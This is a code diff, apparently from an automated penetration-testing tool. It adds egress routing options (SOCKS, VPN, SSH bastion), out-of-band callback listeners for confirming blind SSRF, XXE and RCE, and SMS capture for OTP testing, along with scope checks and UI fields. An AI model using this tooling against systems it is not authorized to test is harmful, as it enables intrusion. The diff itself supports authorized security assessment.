direct.admits("10.20.0.15").unwrap_err(); + assert!(err.contains("internal address")); + // The same address through a bastion is fine — that is what the + // bastion is for. + let viassh = Transport::new(Egress::parse("ssh://red@bastion.corp").unwrap()); + assert!(viassh.admits("10.20.0.15").is_ok()); + // And an external target needs nothing. + assert!(direct.admits("https://example.com").is_ok()); + } + + #[test] + fn child_processes_inherit_the_same_route() { + let socks = Transport::new(Egress::parse("socks5://127.0.0.1:9050").unwrap()); + assert_eq!(socks.env(), vec![("ALL_PROXY".to_string(), "socks5h://127.0.0.1:9050".to_string())]); + + let http = Transport::new(Egress::parse("http://127.0.0.1:8080").unwrap()); + let env = http.env(); + assert!(env.iter().any(|(k, _)| k == "HTTPS_PROXY"), "curl and friends need both"); + assert!(env.iter().any(|(k, _)| k == "HTTP_PROXY")); + + // A VPN changes the host's routing table, so there is nothing to pass + // down — and inventing a proxy variable here would break every child. + assert!(Transport::new(Egress::OpenVpn { config: "/x.ovpn".into() }).env().is_empty()); + } + + #[tokio::test] + async fn verify_fails_when_the_address_did_not_change() { + // A VPN that silently dropped still answers — with the operator's own + // address. Same IP as the baseline means the tunnel is not carrying + // traffic, whatever the process table says. + let t = Transport::new(Egress::OpenVpn { config: "/nonexistent.ovpn".into() }); + // No network in tests: the error path is the assertion. What matters is + // that an unchanged address is treated as failure, not success. + let err = t.verify(Some("203.0.113.10")).await; + assert!(err.is_err() || err.unwrap() != "203.0.113.10"); + } +} diff --git a/neurosploit-rs/crates/harness/src/types.rs b/neurosploit-rs/crates/harness/src/types.rs index d8359d3..d30f428 100644 --- a/neurosploit-rs/crates/harness/src/types.rs +++ b/neurosploit-rs/crates/harness/src/types.rs @@ -236,6 +236,26 @@ pub struct RunConfig { /// Engagement policy: risk ceilings, reasoning rules, proof requirements. #[serde(default)] pub policy: crate::policy::EngagementPolicy, + /// Egress route (`direct`, `socks5://…`, `openvpn:…`, `ssh://user@host`, + /// `cloudflared://host:port`). An internal target with no transport is + /// refused rather than tested against whatever network this host is on. + #[serde(default)] + pub transport: Option, + /// Out-of-band interaction domain (a wildcard pointed at our listeners). + /// Without it the blind classes — SSRF, XXE, blind RCE — cannot be proven, + /// only suspected. + #[serde(default)] + pub oob_domain: Option, + /// Where the OOB HTTP listener binds. + #[serde(default)] + pub oob_http: Option, + /// Where the OOB DNS listener binds, when the DNS channel is delegated. + #[serde(default)] + pub oob_dns: Option, + /// Inbound SMS for OTP and rate-limit work: `twilio:::` + /// or `webhook::`. + #[serde(default)] + pub sms: Option, /// How much compute to spend and where. Defaults to unlimited, which is the /// behaviour that existed before budgets — an operator who asks for nothing /// gets the full run. @@ -287,6 +307,11 @@ impl RunConfig { capability: None, policy: Default::default(), budget: Default::default(), + transport: None, + oob_domain: None, + oob_http: None, + oob_dns: None, + sms: None, } } } diff --git a/web/public/app.js b/web/public/app.js index 4eaee45..e5ecc55 100644 --- a/web/public/app.js +++ b/web/public/app.js @@ -28,7 +28,7 @@ const state = { auth: { header: '', roles: [] }, credsPath: '', // Engagement authorization: the grant, plus settings that may only narrow it. - authz: { capability: '', inScope: '', environment: 'production', policyProfile: 'web' }, + authz: { capability: '', inScope: '', environment: 'production', policyProfile: 'web', transport: '', oobDomain: '', oobHttp: '', oobDns: '', sms: '' }, keys: [], runs: [], currentJob: null, @@ -471,6 +471,8 @@ function renderReview() { { k: 'Custom leads', v: String(state.customLeads.length) }, { k: 'Votes / chain / recon', v: `${$('#fieldVotes').value} / ${$('#fieldChain').value} / ${$('#fieldRecon').value}` }, { k: 'Budget', v: budgetSummary() }, + { k: 'Egress', v: state.authz.transport || 'direct' }, + { k: 'Out-of-band', v: state.authz.oobDomain ? `*.${state.authz.oobDomain}` : 'none — blind classes stay leads' }, { k: 'Target auth', v: state.auth.header ? 'header set' : (state.auth.roles.length ? `${state.auth.roles.length} role(s)` : 'none') }, ]; $('#reviewGrid').innerHTML = items.map((it) => ` @@ -522,6 +524,11 @@ async function startExploitation() { inScope: state.authz.inScope.split(/[,;\s]+/).filter(Boolean), environment: state.authz.environment, policyProfile: state.authz.policyProfile, + transport: state.authz.transport || undefined, + oobDomain: state.authz.oobDomain || undefined, + oobHttp: state.authz.oobHttp || undefined, + oobDns: state.authz.oobDns || undefined, + sms: state.authz.sms || undefined, }; $('#btnLaunch').disabled = true; @@ -1711,6 +1718,11 @@ $('#capToken').addEventListener('input', (e) => { $('#inScope').addEventListener('input', (e) => { state.authz.inScope = e.target.value; }); $('#envSelect').addEventListener('change', (e) => { state.authz.environment = e.target.value; }); $('#policySelect').addEventListener('change', (e) => { state.authz.policyProfile = e.target.value; }); +// Egress and OOB live with authorization, not with run settings: they decide +// WHICH network is being tested, which is an authorization question. +for (const [id, key] of [['transportSpec', 'transport'], ['oobDomain', 'oobDomain'], ['oobHttp', 'oobHttp'], ['oobDns', 'oobDns'], ['smsSpec', 'sms']]) { + $(`#${id}`).addEventListener('input', (e) => { state.authz[key] = e.target.value.trim(); }); +} function renderRoleList() { const root = $('#roleList'); diff --git a/web/public/index.html b/web/public/index.html index 22d7392..f03bdfb 100644 --- a/web/public/index.html +++ b/web/public/index.html @@ -460,6 +460,38 @@
OT blocks writes, disruptive actions, fuzzing and exploit payloads over industrial protocols, and caps the rate at ~1 req/s.
+ +
Egress & out-of-band
+
+ + +
+ An internal target with no transport is refused, not tested — with the VPN down, + 10.20.0.15 belongs to whatever network this host is on, which is not the client's. +
+
+
+
+ + +
A wildcard pointed at this host. Without it blind SSRF/XXE/RCE can only be reported as leads — never confirmed.
+
+
+ + +
Where callbacks land. An HTTP callback proves egress; a DNS query alone does not.
+
+
+ + +
Only if the zone is delegated here (NS record).
+
+
+
+ + +
A throttling claim counts delivered messages carrying distinct codes, not HTTP 200s.
+